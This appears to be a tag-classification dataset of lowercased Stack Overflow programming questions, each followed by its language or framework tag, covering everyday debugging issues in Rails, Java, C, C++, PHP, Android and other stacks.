validates array elements inclusion using inclusion: { in: array }  i use <code>acts-as-taggable-on</code> gem to populate a user interests on a <code>user</code> model like this   <pre><code># user.rb acts_as_taggable acts_as_taggable_on :interests </code></pre>   as i populate the <code>interest_list</code> array  i need to check that the given values matches against a constant array to make sure these are accepted values  something like this   <pre><code>valid_interests = [ music   biking   hike ] validates :interest_list  :inclusion =&gt; { :in =&gt; valid_interests  :message =&gt;  %{value} is not a valid interest  } </code></pre>   the code above returns the following error   <pre><code>@user = user.new @user.interest_list = [ music   biking ] @user.save =&gt; false …. @messages={:interest_list=&gt;[ music  biking is not a valid interest ]} </code></pre>   i can see the inclusion doesn t realize it should iterate over the array elements instead of s considering as a plain string but i m not sure how to achieve this. any idea,ruby-on-rails
extends abstractmap make me see unsupportedoperationexception for method put   i m trying to realize a personal abstractmap. i have 2 types of map in my project  one <code>&lt;string   list&lt;box&gt;&gt;</code> and one <code>&lt;string   box&gt;</code> (box is a class for encase an item with his quantity). but when i try the put method of map  it s showing me  unsupportedoperationexception - if the put operation is not supported by this map       this is the abstract class for map   <pre><code>public abstract class tamagotchimap&lt;x&gt; extends abstractmap&lt;string  x&gt; {    @override   public abstract set&lt;entry&lt;string  x&gt;&gt; entryset();     public abstract void attachcategories(set&lt;string&gt; categories);     public abstract void additemforcategory(string category  box box);     public abstract string getcategory(box box);     public collection&lt;string&gt; getallcategories() {     return this.keyset();   }    } </code></pre>   and there are the 2 classes that extends this class     1)   <pre><code>public class inventorymainmap extends tamagotchimap&lt;box&gt; {  private final set&lt;entry&lt;string  box&gt;&gt; entry = new hashset&lt;&gt;();  @override public set&lt;entry&lt;string  box&gt;&gt; entryset() {     return entry; }   @override public void attachcategories(final set&lt;string&gt; categories) {     for (string category: categories) {         this.put(category  null);     } }    /**  *   * @return main item for this category  * @param category is the category of item  */ public box getmainitem(final string category) {     return this.get(category); }  @override public string getcategory(final box box) {     for (string category: this.getallcategories()) {         if (this.get(category).containsitem(box.getitem())) {             return category;         }       }     return null; }  @override public void additemforcategory(final string category  final box box) {     if (this.containskey(category)) {         this.replace(category  box);     } } } </code></pre>   2)   <pre><code>public class itemcontainermap extends tamagotchimap&lt;list&lt;box&gt;&gt; {  private final set&lt;entry&lt;string  list&lt;box&gt;&gt;&gt; entry = new hashset&lt;&gt;();  @override public set&lt;entry&lt;string  list&lt;box&gt;&gt;&gt; entryset() {     return entry; }  @override public string getcategory(final box box) {     for (string category: this.getallcategories()) {         for (box boxiterator: this.get(category)) {             if (boxiterator.containsitem(box.getitem())) {                 return category;             }          }     }     return null; }  @override public void additemforcategory(final string category  final box box) {     if (this.containskey(category)) {        if (!this.get(category).contains(box)) {            system.out.println( nuovo item );            this.get(category).add(box);        } else {            system.out.println( item esistente );            this.get(category).stream().filter(iterbox -&gt; iterbox.equals(box)).foreach(iterbox -&gt; iterbox.increasequantity());        }     } else {         throw new nosuchelementexception();     }  }  @override public void attachcategories(final set&lt;string&gt; categories) {     for (string category: categories) {         this.put(category  new linkedlist&lt;box&gt;());     } }  } </code></pre>   when i do    <pre><code>class test {     tamagotchimap map = new itemcontainermap();    map.put(string  box);   } </code></pre>   it makes me see the exception that i have already said.  as if the put was not usable  do you know where i was wrong,java
how can dragonfiresdk be so sure to be appstore compliant   how dragonfiresdk works internally as it allows to develop on windows   as apple rules seem harsh about porting code how can dragonforesdk be so sure to be compliant   why aren t there any other solutions for developping iphone on windows then or are there      seems like a mystery to everybody ...    update: as brad larson asked  i m curious to know the answer too:    if the application is compiled on a mac  how does this help you develop using only windows  a mac is still required for compilation / codesigning,iphone
understanding linked lists tutorial  i m reading the tutorials from <a href= http://www.cprogramming.com  rel= nofollow >cprogramming.com</a> and i m a bit stuck with their linked list example. the code is below:   <pre><code>#include &lt;iostream&gt;  using namespace std;  struct node {   int x;   node *next; };  int main() {   node *root;     node *conductor;    root = new node;   root-&gt;next = 0;   (*root).x = 12;  // i was testing alt. syntax.   conductor = root;    if(conductor != 0) {     while(conductor-&gt;next != 0) {       cout &lt;&lt; conductor-&gt;x;       conductor = conductor-&gt;next;     }   }    conductor-&gt;next = new node;   conductor = conductor-&gt;next;   conductor-&gt;next = 0;   (*conductor).x = 42;    cout &lt;&lt; conductor-&gt;x;    return 0; } </code></pre>   in the example <code>root-&gt;next</code> is being set to <code>0</code>. <code>conductor</code> is then being set to the address of <code>root</code> which means the while loop will never be reached right     i don t understand the purpose of the example if it s not demonstrating the use of a linked list (i.e. adding more nodes  and traversing through them).    am i analyzing the code correctly,c++
can we share text on facebook by intent without using facebook sdk in android   string message =  text i want to share. ;   <pre><code>    intent share = new intent(intent.action_send);      share.settype( text/plain );      share.putextra(intent.extra_text  message);      startactivity(intent.createchooser(share   title of the dialog the system will open )); </code></pre>,android
content (<script> <img>) outside <html> tags  i believe this isn t legal html  correct  as far as i can tell  almost every browser display/executes this anyway anything i can do as an enduser     the problem: its stuff added by free hosting provider  i don t really want to see it if its outside html tags  i don t care what it is. if there s a setting/button for firefox i d like to know  thanks,html
how do you pass an array of structs into a function   suppose we have:   <pre><code>struct elements{     string drink_name;     double price_per_can;     double number_in_machine; };  struct elements machine[6]; </code></pre>   and machine is populated in main(). how do i pass machine into a function (by reference) to be used inside the function,c++
rails searchkick displaying results  so i have searchkick working ( i can see the params displayed with byebug)    however  i m wanting it to show a results page  ( i do need to create the search results page which im currently doing)     i havent a clue on how to link serch kick up so it spits out the results of the search (pagenated) rather than not showing anything    heres what i have so far  i have the search engine on the homepage.     <strong>/pages/home.html.erb</strong>   <pre><code>&lt;%= form_tag search_events_path  class:  form-inline   remote: true  method: :get do %&gt;   &lt;div class= input-group input-group-lg &gt;     &lt;%= text_field_tag :search  params[:search]  class:  form-control   autocomplete:  off  %&gt;     &lt;div class= input-group-btn &gt;       &lt;%= submit_tag  search   class:  btn btn-primary  %&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   this is in my routes   <pre><code>  get  search_events  =&gt;  newevents#search   as:  search_events  </code></pre>   my controller is this   <pre><code>  def search     events = newevent.search params[:search]     render :json =&gt; events.to_json   end </code></pre>   and my model just has <code>searchkick</code> inside    i m wanting to have the search results show on a page inside the event folder called results.html.erb. any help would be greatly appreciated!    thanks     please be gentle  i ve not been working with rails long. (enough to have read a couple of books thats how i have gotten this far haha!),ruby-on-rails
.net 4.0 compatibility  i write winforms application  using .net 4.0  linq  etc. will it work on machines with .net 2.0,.net
following c code is not working  i don t understand why it s taking only first input    code is :-   <pre><code>#include &lt;stdio.h&gt;  typedef struct _book {     char title[100];     char author[50];     char genre[30]; } books;   // function to get title from user void get_title(books *b) {     printf( enter the title of the book:  );     scanf( %[^\n]   b-&gt;title); }  // function to get author from user void get_author(books *b) {     printf( enter name of the author:  );     scanf( %[^\n]   b-&gt;author); }  // function to get genre from user void get_genre(books *b) {     printf( enter the genre of the book:  );     scanf( %[^\n]   b-&gt;genre); }  // function to display book title void print_title(books b) {     printf( title of the book is: %s\n   b.title); }  // function to display book author void print_author(books b) {     printf( author of the book is: %s\n   b.author); }  // function to display book genre void print_genre(books b) {     printf( genre of the book is: %s\n   b.genre); }   int main() {     // defining book variable     books book;      // getting inputs from user     get_title(&amp;book);     get_author(&amp;book);     get_genre(&amp;book);       // displaying outputs     printf( details of the book :-\n );     print_title(book);     print_author(book);     print_genre(book); } </code></pre>   it is taking only first input then displaying everything without waiting for user input.  you can see the output image in the link given below    here you can see output :-    <a href= https://i.stack.imgur.com/efabg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/efabg.png  alt= output ></a>,c
is there any way to programatically find out which apps are launched by user   i am developing an app and there is requirement to know which app are launched by user.  at any given point of time i would like to know which apps user is launching ( such as fb  instagram  candy crush saga etc. ) .      i did google quite a bit   however could not find any reference to do it.  i did find reference to sys/sysctl.h and then finding running process and mapping process id to map name ( <a href= https://stackoverflow.com/questions/8275578/how-to-get-information-about-free-memory-and-running-processes-in-an-app-store-a/8276502#8276502 >this</a> )    i wanted to check if there is alternative and/or better/more efficient way of doing this.,ios
what does except method in rails do   i have the following code in a controller. it s very difficult to make sense out of it.   <pre><code>allow user: :is_admin   :except =&gt; [:new  :create] </code></pre>   it s very difficult to make sense what except method is doing in here.,ruby-on-rails
how animate on exit of page (internal) with css  i have created a couple css animations and i am trying to make one play when you leave an internal page (go from <code> #top </code> to <code> #bar1 </code>.    i have incorporated animations (as class) playing when the page enters but cant figure out how to play on exit.   <ul> <li>basically on my page i have 3 buttons and 3 bars.</li> <li>lets say we have button 1 2 and 3 each one corresponds with bar 1 2 and 3.</li> <li>on page start (top) all 3 bars are showing.</li> <li>if you press a button  the corresponding bar stays still and the rest of them will animate out.</li> <li>then if you press a button after that button that was animated out will animate in and the current one standing will animate out</li> </ul>   again  i have the animate in part just fine    edit:    i guess what i m asking is basically how to do this:    if href = 1{ animation play forwards }else{ play animation backwards } for each bar,css
python throws an error even though pycurl is installed  i see when pycurl is installed but when i run a script which has pycurl it throws the error <code>importerror: no module named pycurl</code>    pycurl installed   <pre><code> users-imac:clone_radar user$ sudo pip install pycurl     the directory  /users/user/library/caches/pip/http  or its parent directory is not owned by the current user and the cache has been disabled. please check the permissions and owner of that directory. if executing pip with sudo  you may want sudo s -h flag.     the directory  /users/user/library/caches/pip  or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. if executing pip with sudo  you may want sudo s -h flag.     requirement already satisfied: pycurl in /users/user/library/python/2.7/lib/python/site-packages </code></pre>   error:-   <pre><code>users-imac:clone_radar user$ python ./cloneradar.py username 4364_test radar.py traceback (most recent call last):   file  ./cloneradar.py   line 7  in &lt;module&gt;     from radarws import radarws   file  /users/user/documents/cloning_radar/com/clone_radar/radarws.py   line 28  in &lt;module&gt;     import pycurl importerror: no module named pycurl </code></pre>   if i try to install without sudo i get the error    <pre><code>command  /system/library/frameworks/python.framework/versions/2.7/resources/python.app/contents/macos/python -u -c  import setuptools  tokenize;__file__= /private/var/folders/fh/1g80t0p942bf8_pnjjl8r21m0000gn/t/pip-build-qmeyzh/pycurl/setup.py ;f=getattr(tokenize   open   open)(__file__);code=f.read().replace( \r\n    \n );f.close();exec(compile(code  __file__   exec ))  install --record /var/folders/fh/1g80t0p942bf8_pnjjl8r21m0000gn/t/pip-4p7wf2-record/install-record.txt --single-version-externally-managed --compile  failed with error code 1 in /private/var/folders/fh/1g80t0p942bf8_pnjjl8r21m0000gn/t/pip-build-qmeyzh/pycurl </code></pre>,python
error rendering control in aspx of home page. an unhandled exception has occurred. htmlimageid property is not specified  i am using asp.net . i am getting the error rendering contol- header1. an unhandled exception has occurred. htmlimageid property is not specified.    how to fix this error    <pre><code>&lt;tr&gt;     &lt;td style= width: 100%; text-align: left; border-top-width: 0px; border-left-width: 0px; border-left-color: black; border-bottom-width: 0px; border-bottom-color: black; border-top-color: black; border-right-width: 0px; border-right-color: black; padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px;  valign= top &gt;         &lt;uc2:header id= header1  runat= server  onload= header1_load  enabletheming= true  enableviewstate= true  visible= true  /&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>   my uc2 is    <pre><code>&lt;%@ register src= controls/header.ascx  tagname= header  tagprefix= uc2  %&gt; </code></pre>   code behind :   <pre><code>protected void header1_load(object sender  eventargs e)         {          } </code></pre>,asp.net
how to pass callback argument for win32 dll api from c# function  <ol> <li> win32 funciton to call from c#:   <pre><code>int ptsetguicallbacks (     in int hconnection    in void *pguistreamingcallbackctx    in pt_gui_state_callback pfnguistatecallback    in void *pguistatecallbackctx ) </code></pre></li> <li> win32 callback function prototype  pt_gui_state_callback :    <pre><code>int pt_std_gui_state_callback (   in dword dwguistate    out byte *pbyresponse    in dword dwmessage ) </code></pre></li> <li> my c# function for to call the above win32 function inside i am passing c# function as a callback to that win32 function:     <pre><code>public void setcallback()  {   var callback_delegate = new pt_gui_state_callback(gui_state_callback);               gchandle gch = gchandle.alloc(callback_delegate);   intptr intptr_delegate =     marshal.getfunctionpointerfordelegate(callback_delegate);          int merrorcode = ptsetguicallbacks(mdevhandle  intptr.zero  intptr_delegate   intptr.zero);          gch.free();   } </code></pre></li> </ol>   this code doesnot work  i mean i am not getting callback from win32 api to my c# method (<code>gui_state_callback</code>)    so now i need to pass that callback to the win32 api from my c# function.    anyone know the answer    <ol start= 4 > <li> pinvoke function declaration for win32 api:    public static extern int ptsetguicallbacks(int ahconnection <br>      intptr astreamingcbctx  intptr aguistatecb  intptr aguistatecbctx); </li> </ol>   any update on this     is any other alternative way is there to do this,c#
delete a line containing string in text file using php <pre><code>&lt; php $myfile =  myfile.txt ; $fh = fopen($myfile   rt ); $thedata = fread($fh  filesize($myfile)); $adoor = $_get[ idno ]; echo $adoor; $thedata = preg_replace( /\n .*$adoor.*$/m       $thedata);  fwrite($fh  $thedata); fclose($fh); echo $thedata;  &gt; </code></pre>   preg_replace( /\n .<em>sometext.</em>$/m       $thedata); it is working     now how to use $adoor string,php
will commented out css still have an impact/overhead of processing   will commented out css still have an impact/overhead of processing when the page is being rendered by the browser     or should we always aim to be as clean as possible,css
how to get the number of files included in a byte array   i am using <code>icsharpcode.sharpziplib.core</code> library to zip the files in my c# code. after zipping i will return a byte array . is there any way we can find the number of files in the byte array       my code looks like   <pre><code>string filepath = c:\hello ;  memorystream outputmemstream = new memorystream();             zipoutputstream zipstream = new zipoutputstream(outputmemstream);             foreach (var file in files)             {                 fileinfo fi = new fileinfo(string.concat(filepath  file));                 if (fi.exists)                 {                     var entryname = zipentry.cleanname(fi.name);                     zipentry newentry = new zipentry(entryname);                     newentry.datetime = datetime.now;                     newentry.size = fi.length;                     zipstream.putnextentry(newentry);                      byte[] buffer = new byte[4096];                     var fs = file.openread(string.concat(filepath  file));                     var count = fs.read(buffer  0  buffer.length);                     while (count &gt; 0)                     {                         zipstream.write(buffer  0  count);                         count = fs.read(buffer  0  buffer.length);                       }                 }             }             zipstream.close();             byte[] bytearrayout = outputmemstream.toarray();             return bytearrayout; </code></pre>,c#
.net 2.0 using path.combine with more than 2 arguments   i m trying to combine more than 2 arguments using path.combine. however this doesn t work using .net framework 2.0. basically  how can i do the following:   <blockquote>    system.io.path.combine (path1  path2  path3);  </blockquote>   in c# using .net framework 2.0,c#
invalid operands to binary expression (int and nsnumber *)  i m learning objective c from codeschool and there s one section of learning oop which i don t understand why it won t work but seems so simple to fix.    the code:   <pre><code>- (void) decreasebatterylife:(nsnumber *)decreaseby {     self.batterylife = @([self.batterylife intvalue] - decreaseby); } </code></pre>   the error which points to the minus symbol before decreaseby:   <pre><code>^invalid operands to binary expression ( int  and  nsnumber * ) </code></pre>,objective-c
how to get unicode string from cocoa keydown event   i had read cocoa key event handling docs. and get a code snippet example like following: the question is when i change my input method other than english (like chinese). the code snippet doesn t works  it still return a single alphabetic character but not a unicode chinese character. any suggestion or i missing some part of the documents    <pre><code>- (void)keydown:(nsevent *)theevent {     [self interpretkeyevents:[nsarray arraywithobject:theevent]]; }  // the following action methods are declared in nsresponder.h - (void)inserttab:(id)sender {     if ([[self window] firstresponder] == self)     {         [[self window] selectnextkeyview:self];     } }   - (void)insertbacktab:(id)sender {     if ([[self window] firstresponder] == self)     {         [[self window] selectpreviouskeyview:self];     } }  - (void)inserttext:(id)string {     [super inserttext:string];  // have superclass insert it } </code></pre>,objective-c
how can i access iphone passcode in my application  i am making an application which needs me to check if the simple passcode option for the iphone device is set to on/off and further if the passcode is set or not. is there any way to find it out.    thanx in advance.,objective-c
rails + post request  i am using the curb gem (<a href= https://github.com/taf2/curb  rel= nofollow >https://github.com/taf2/curb</a>) to create an http post request with the  <code>name</code> value. my curb request looks like this:   <pre><code>http = curl.post( http://localhost:3001/campaigns   {:name =&gt;  facebook }) </code></pre>   this gets sent to a rails api but the method in the api is expecting a hash. i then want to apply strong parameters (using the code below). how can i modify my post request to send a hash called campaign with name as one attribute    <pre><code>private def campaign_params     params.require(:campaign).permit(:name) end </code></pre>   thanks,ruby-on-rails
set of links opening up in another tab in browser  i have a resource called artists  that is connected to a table called artists.  for the view  <code>/artists</code>  i run through the table using a foreach loop to display some of the information.  i create links  like so:   <pre><code>&lt;div class= boxxy &gt; &lt;a href= /artists/{{$artist-&gt;id}}  target= _blank  class= anchor-hover &gt;             &lt;img src= {{ $artist-&gt;image_path}}  alt= {{$artist-&gt;stage_name}}  height= 200  width= 200 &gt;             &lt;span class= details &gt;                 &lt;h2&gt;{{$artist-&gt;stage_name}}&lt;/h2&gt;                 &lt;p class= desc &gt;{{$artist-&gt;description}}&lt;/p&gt;                 &lt;span class= pupdate &gt;{{ $artist-&gt;city}}  {{ $artist-&gt;state}}&lt;/span&gt;                 &lt;span class= viewlink &gt;play my city&lt;/span&gt;             &lt;/span&gt;             &lt;/a&gt; &lt;/div&gt; </code></pre>   however  using this  when i click on the image  it takes me to another tab in the browser (to the correct place  like <code>artists/7</code>  but in a different tab).  my question is  how do i prevent the page from being opened up in another tab   i would like it just directed in the same tab.,html
keep modify date old one when file upload with php to new folder  <strong>html:</strong>   <pre><code>&lt;form action=   method= post  enctype= multipart/form-data &gt;     &lt;input type= file  id= file  name= files[]  multiple= multiple  accept= image/*  /&gt;     &lt;input type= submit  value= upload!  /&gt; &lt;/form&gt; </code></pre>   <strong>php:</strong>   <pre><code>&lt; php  $upload_dir = wp_upload_dir(); $upload_dir = $upload_dir[ basedir ];  $valid_formats = array( jpg    jpeg    png    gif    zip    bmp ); $path = $upload_dir. / ; // upload directory $count = 0;  if( isset( $_post ) and $_server[ request_method ] ==  post  ) {   // loop $_files to execute all files   foreach ( $_files[ files ][ name ] as $f =&gt; $name )   {            if ( $_files[ files ][ error ][$f] == 4 )       {           continue; // skip file if any error found       }               if ( $_files[ files ][ error ][$f] == 0 )       {           if( ! in_array( pathinfo( $name  pathinfo_extension )  $valid_formats ) )           {             $message[] =  $name is not a valid format ;             continue; // skip invalid file formats           }           else           {                 // move uploaded files.                  if( copy( $_files[ files ][ tmp_name ][$f]  $path.$name ) )                 $count++;           }       }   } } </code></pre>   i want to keep the modify date old which is right now is <code>16 december 2014</code>. but when that file moves to new folder using above code  the modify date of the file (in the new folder) changed to current date i.e <code>13 january 2015</code>. is there any way to reserve the modify date or created date when uploading the file to new folder     <img src= https://i.stack.imgur.com/psbz1.png  alt= &lt;code&gt;sample&lt;/code&gt; >,php
what is the  m=  attribute in a html <a> tag  (plus tons of other attributes found in bing result source)  so i was looking through some source for a bing images search result  and it seems the html for each hyperlink for each returned image is similar to:   <pre><code>&lt;a href= #   ihk= hn.607992005913609849   m= {ns:&amp;quot;images&amp;quot; k:&amp;quot;5064&amp;quot; mid:&amp;quot;3d11808868db7b3bd88719756eece65700723f87&amp;quot; surl:&amp;quot;http://www.absoluteanime.com/naruto/kakashi.htm&amp;quot; imgurl:&amp;quot;http://www.absoluteanime.com/naruto/kakashi.jpg&amp;quot; oh:&amp;quot;225&amp;quot; tft:&amp;quot;43&amp;quot; dls:&amp;quot;images 5431&amp;quot; oi:&amp;quot;http://www.absoluteanime.com/naruto/kakashi.jpg&amp;quot;}   mid= 3d11808868db7b3bd88719756eece65700723f87   onclick= return false;   t1= kakashi hatake   t2= 640 x 480 · 32 kb · jpeg   t3= www.absoluteanime.com/naruto/kakashi.htm   h= id=images 5064.1  &gt; </code></pre>   now  looking at w3schools documentation for the <code>&lt;a&gt;</code> tag <a href= http://www.w3schools.com/tags/tag_a.asp  rel= nofollow >here</a>  there doesn t seem to be any documentation for most of these attributes  and after some decently extensive googling and irc lurking i can t find any info on them.    am i completely misunderstanding these things  i.e are they not even attributes  (i am relatively new to html) or are there somehow a ton more attributes out there that what is commonly documented     i am interested in the m attribute mainly because it seems to be the only part of the the <code>&lt;a&gt;</code> tag that actually contains the url of the original image (as opposed to bing s thumbnail).,html
gui submit button not working- java  i can get the <code>clear</code> and <code>exit</code> to work just fine  but for the life of my can t figure out why <code>submit</code> doesn t work and the results won t show up. it s probably something obvious i m missing.  i had it working earlier but must have messed with something.    <pre><code>import java.awt.*; import java.awt.event.*;  import javax.swing.*;  import java.awt.event.actionevent; import java.awt.event.actionlistener;  import javax.swing.jbutton; import javax.swing.jlabel; import javax.swing.joptionpane; import javax.swing.jtextarea; import javax.swing.jtextfield;      public class applicationpanel extends jpanel   {   private jlabel headlabel  firstlabel  lastlabel  addresslabel     emaillabel  gpalabel  gmatlabel;     private jtextfield firstname  lastname  addressbox  email  gpa  gmat;     private jtextarea results;     private jbutton submit  clear  exit;         public applicationpanel()     {     headlabel = new jlabel ( catskill college application );     firstlabel = new jlabel ( enter your first name:  );     lastlabel = new jlabel ( enter your last name );     addresslabel = new jlabel ( enter your address:  );     emaillabel = new jlabel ( enter your email:  );     gpalabel = new jlabel ( enter your gpa:  );     gmatlabel = new jlabel ( select your gmat score:  );      results = new jtextarea(7  30);      firstname = new jtextfield (12);      lastname = new jtextfield (12);      addressbox = new jtextfield (20);     email = new jtextfield (20);      gpa = new jtextfield (5);      gmat = new jtextfield (5);      submit = new jbutton ( submit );     clear = new jbutton ( clear );      exit = new jbutton ( exit );      buttonlistener listener = new buttonlistener();     submit.addactionlistener (listener);     clear.addactionlistener (listener);     exit.addactionlistener (listener);      setlayout(new gridbaglayout());     gridbagconstraints constraints = new gridbagconstraints();      constraints.gridx = 0;     constraints.gridy = 0;     constraints.gridwidth = 2;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  20  5);      constraints.anchor = gridbagconstraints.center;     add (headlabel  constraints);      constraints.gridx = 0;     constraints.gridy = 1;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.east;     add (firstlabel  constraints);      constraints.gridx = 1;     constraints.gridy = 1;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.west;     add (firstname  constraints);      constraints.gridx = 0;     constraints.gridy = 2;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.east;     add (lastlabel  constraints);      constraints.gridx = 1;     constraints.gridy = 2;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.west;          add (lastname  constraints);      constraints.gridx = 0;     constraints.gridy = 3;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.east;     add (addresslabel  constraints);      constraints.gridx = 1;     constraints.gridy = 3;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.west;          add (addressbox  constraints);      constraints.gridx = 0;     constraints.gridy = 4;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.east;     add (emaillabel  constraints);      constraints.gridx = 1;     constraints.gridy = 4;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.west;          add (email  constraints);        constraints.gridx = 0;     constraints.gridy = 5;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.east;     add (gpalabel  constraints);      constraints.gridx = 1;     constraints.gridy = 5;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.west;          add (gpa  constraints);       constraints.gridx = 0;     constraints.gridy = 6;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.east;     add (gmatlabel  constraints);      constraints.gridx = 1;     constraints.gridy = 6;     constraints.gridwidth = 1;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.west;          add (gmat  constraints);        constraints.gridx = 0;     constraints.gridy = 8;     constraints.gridwidth = 2;     constraints.gridheight = 1;     constraints.insets = new insets (25  85  5  5);      constraints.anchor = gridbagconstraints.west;     add (submit  constraints);      constraints.gridx = 0;     constraints.gridy = 8;     constraints.gridwidth = 2;     constraints.gridheight = 1;     constraints.insets = new insets (25  225  5  5);      constraints.anchor = gridbagconstraints.west;     add (clear  constraints);      constraints.gridx = 0;     constraints.gridy = 8;     constraints.gridwidth = 2;     constraints.gridheight = 1;     constraints.insets = new insets (25  355  5  5);      constraints.anchor = gridbagconstraints.west;     add (exit  constraints);      constraints.gridx = 0;     constraints.gridy = 9;     constraints.gridwidth = 2;     constraints.gridheight = 1;     constraints.insets = new insets (5  5  5  5);      constraints.anchor = gridbagconstraints.center;     add (results  constraints);      setpreferredsize (new dimension(700  500));     setbackground (color.gray); }    private class buttonlistener implements actionlistener {     public void actionperformed (actionevent event)     {         if (event.getsource() == submit)              if (firstname.gettext().length() == 0)               {                 joptionpane.showmessagedialog(submit  you didn t enter your name!!    message   joptionpane.warning_message);                 firstname.requestfocus();                 firstname.setbackground(color.yellow);             }             else if (lastname.gettext().length() == 0)              {                 joptionpane.showmessagedialog(submit  you didn t enter your address!!    message   joptionpane.warning_message);                 lastname.requestfocus();                 lastname.setbackground(color.yellow);             }                 else              {                  string acceptance  name1;                  if ((integer.parseint(gpa.gettext()) &gt;2.99) &amp;&amp; (integer.parseint(gmat.gettext()) &gt; 400) )                 {                     acceptance =  unconditional acceptance ;                     name1 = firstname.gettext()+ lastname.gettext();                 }                  else if  ((integer.parseint(gpa.gettext()) &gt; 2.49 ) &amp;&amp; (integer.parseint(gmat.gettext()) &gt; 350) )                 {                     acceptance =  conditional acceptance ;                     name1 = firstname.gettext()+ lastname.gettext();                  }                  else                  {                     acceptance =  application rejected ;                     name1 = firstname.gettext()+ lastname.gettext();                 }                   results.settext( name :   + name1 +  \n  +  address:   + addressbox.gettext() +  \n  +  application status:   + acceptance);             }                  if (event.getsource() == clear)                 {                     firstname.settext(  );                     lastname.settext(  );                     addressbox.settext(  );                     email.settext(  );                     gpa.settext(  );                     gmat.settext(  );                    }                  if (event.getsource() == exit)                 {                     system.exit(0);                 }             }   } } </code></pre>   here s what the console reads:   <pre><code>    exception in thread  awt-eventqueue-0  java.lang.numberformatexception: for     input string:  3.95      at java.lang.numberformatexception.forinputstring(unknown source)     at java.lang.integer.parseint(unknown source)     at java.lang.integer.parseint(unknown source)     at  applicationpanel$buttonlistener.actionperformed(applicationpanel.java:231)     at javax.swing.abstractbutton.fireactionperformed(unknown source)     at javax.swing.abstractbutton$handler.actionperformed(unknown source)     at javax.swing.defaultbuttonmodel.fireactionperformed(unknown source)     at javax.swing.defaultbuttonmodel.setpressed(unknown source)     at javax.swing.plaf.basic.basicbuttonlistener.mousereleased(unknown source)     at java.awt.component.processmouseevent(unknown source)     at javax.swing.jcomponent.processmouseevent(unknown source)     at java.awt.component.processevent(unknown source)     at java.awt.container.processevent(unknown source)     at java.awt.component.dispatcheventimpl(unknown source)     at java.awt.container.dispatcheventimpl(unknown source)     at java.awt.component.dispatchevent(unknown source)     at java.awt.lightweightdispatcher.retargetmouseevent(unknown source)     at java.awt.lightweightdispatcher.processmouseevent(unknown source)     at java.awt.lightweightdispatcher.dispatchevent(unknown source)     at java.awt.container.dispatcheventimpl(unknown source)     at java.awt.window.dispatcheventimpl(unknown source)     at java.awt.component.dispatchevent(unknown source)     at java.awt.eventqueue.dispatcheventimpl(unknown source)     at java.awt.eventqueue.access$200(unknown source) </code></pre>,java
error: no matching function for call to  b::b()   hi i m just begin to program in c++ but i have a problem. i try to create a class in an other class but it does not work... could you help me please     this is my main :   <pre><code>#include &lt;iostream&gt; #include  a.hpp  #include  b.hpp   using namespace std;    int main() {  return 0; } </code></pre>   and this is my first class a cpp :    <pre><code>#include &lt;iostream&gt; #include  a.hpp   using namespace std;  a::a(){} /* the problem is here :error: no matching function for call   to  b::b()*/ a::~a(){}  void a::write() {  cout &lt;&lt;  write a number :   &lt;&lt; endl; cin &gt;&gt; m_number; } </code></pre>   this is the hpp :   <pre><code>#ifndef a_hpp_included #define a_hpp_included  #include  b.hpp    class a : public b { public: a(); ~a(); void write();  protected: int m_number; };   #endif // interface_hpp_included </code></pre>   the class b cpp :   <pre><code>#include &lt;iostream&gt; #include  b.hpp    using namespace std; b::b(double c  double d){m_c = c; m_d = d} b::~b(){}  void b::write1() { cout &lt;&lt; m_c+m_d&lt;&lt; endl; } </code></pre>   and the hpp :   <pre><code>#ifndef b_hpp_included #define b_hpp_included   class b { public: b(double c  double d); ~b();   void writed1();  protected: double m_c; double m_d; };   #endif // b_hpp_included </code></pre>   thanks a lot for your help !!!,c++
testing with android monkey.. stays on preference screen   i have developed an app and have been using monkey to test it.    my application has a main screen and a menu option which opens a preference screen. one thing i have realised though is that once monkey opens my preference screen  it tends to stay within the preference activity for a very long time. the only time it ever exits it is when it restarts my whole activity  and once it enters the preference activity it stays there again  vigorously testing my preference activity without exitting it.    this results in my preference activity getting a complete workout from monkey  but my main activity not receiving much attention from it. i know that the behaviour of monkey is completely random  but could it be that i am doing something wrong with my preference activity  repeated testing from monkey has shown this behaviour to be consistent.    below is the code for my preference activity :   <pre><code>    public class mypreferences extends preferenceactivity {         @override         protected void oncreate(bundle savedinstancestate) {             super.oncreate(savedinstancestate);              addpreferencesfromresource(r.xml.my_preference);         }    } </code></pre>   and my manifest declaration:   <pre><code>    &lt;activity android:name= com.myapp.android.testapp.mypreferences       android:label= @string/preference_activity_title       android:configchanges= orientation|keyboard|keyboardhidden       android:screenorientation= portrait /&gt; </code></pre>   oh and i run monkey with the following code:   <pre><code>    adb shell monkey -p com.myapp.android.testapp -v 100000 </code></pre>,android
